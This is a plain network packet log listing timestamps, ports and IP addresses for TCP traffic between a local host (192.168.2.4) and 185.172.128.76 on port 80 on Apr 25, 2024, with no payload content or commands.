Apr 25, 2024 14:42:08.814832926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814867020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814872980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814888954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.814904928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.814929008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.815104961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.815144062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.815169096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.815210104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.815246105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.815258026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.815284014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.815295935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.866849899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.866909981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.866952896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.866966009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.866976023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867001057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867027044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867038965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867067099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867083073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867094994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867120028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867130995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867155075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867191076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867214918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867228985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867253065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867264986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867297888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867321014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867332935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867357969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867377043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867419958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867445946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867456913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867486000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867521048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867558002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867594957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867630959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867722034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867733002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867748022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867774963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867793083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867799997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867836952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867854118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867863894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867892981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867928028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.867966890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.867989063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868026972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868048906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868060112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868086100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868094921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868112087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868149996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868164062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868180037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868194103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868216038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868235111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868247032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868314981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868360996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868375063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868412971 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868437052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868448973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868478060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868495941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868534088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868547916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868585110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868599892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868612051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868635893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868647099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868699074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868711948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868746996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868779898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868818045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868843079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868866920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868881941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868904114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868930101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868942976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.868968964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.868985891 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869035959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869081020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869106054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869152069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869173050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869184971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869211912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869223118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869260073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869302034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869313955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869366884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869378090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869390011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869415045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869426012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869448900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869486094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869518995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869550943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869560957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869563103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869586945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869597912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869621038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869658947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869682074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869719028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869782925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869796038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869806051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869833946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869847059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869893074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869930029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869931936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869942904 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.869966984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869978905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.869992018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870028973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870052099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870090008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870115995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870126963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870152950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870162964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870222092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870264053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870270014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870309114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870362043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870373011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870402098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870414019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870426893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870450020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870469093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870486021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870553970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870564938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870594025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870616913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870630026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870655060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870675087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870690107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870726109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870728016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870762110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870784998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870809078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870834112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870846033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870906115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870917082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.870945930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.870958090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.871144056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.871190071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.871256113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.871299028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.871323109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.871335983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.871359110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.871371031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.871393919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.871431112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.871515036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.871560097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.871625900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.871637106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.871670961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.871823072 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.871835947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.871870041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.871932983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.871943951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.871977091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.871989012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.923959017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.923999071 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.924041986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.924048901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.924053907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.924089909 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.924112082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.924154043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.924174070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.924211025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.924253941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.924299002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.924716949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.924848080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.924921036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.924930096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.924976110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925002098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925015926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925050020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925086975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925127029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925168037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925211906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925236940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925275087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925293922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925332069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925357103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925400019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925436020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925450087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925473928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925492048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925501108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925527096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925539970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925561905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925570965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925575972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925604105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925615072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925627947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925642014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925668001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925678015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925700903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925714016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925724983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925745010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925755024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925770044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925781965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925806999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925821066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925829887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925847054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925868034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925892115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925930977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925940037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.925978899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.925990105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926011086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926033974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926038027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926048040 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926055908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926073074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926083088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926121950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926136017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926163912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926176071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926189899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926214933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926230907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926254034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926278114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926315069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926335096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926373959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926414967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926429033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926440001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926451921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926456928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926470041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926486969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926498890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926537037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926546097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926558971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926585913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926595926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926608086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926640987 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926665068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926702976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926723957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926745892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926763058 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926779985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926784039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926817894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926819086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926832914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926846981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926856995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926872015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926887035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926933050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926947117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.926970959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926985025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.926997900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927011967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927037954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927047968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927072048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927112103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927124023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927135944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927161932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927175045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927185059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927198887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927223921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927238941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927258968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927272081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.927299976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.927311897 CEST	49731	80	192.168.2.4	185.172.128.76
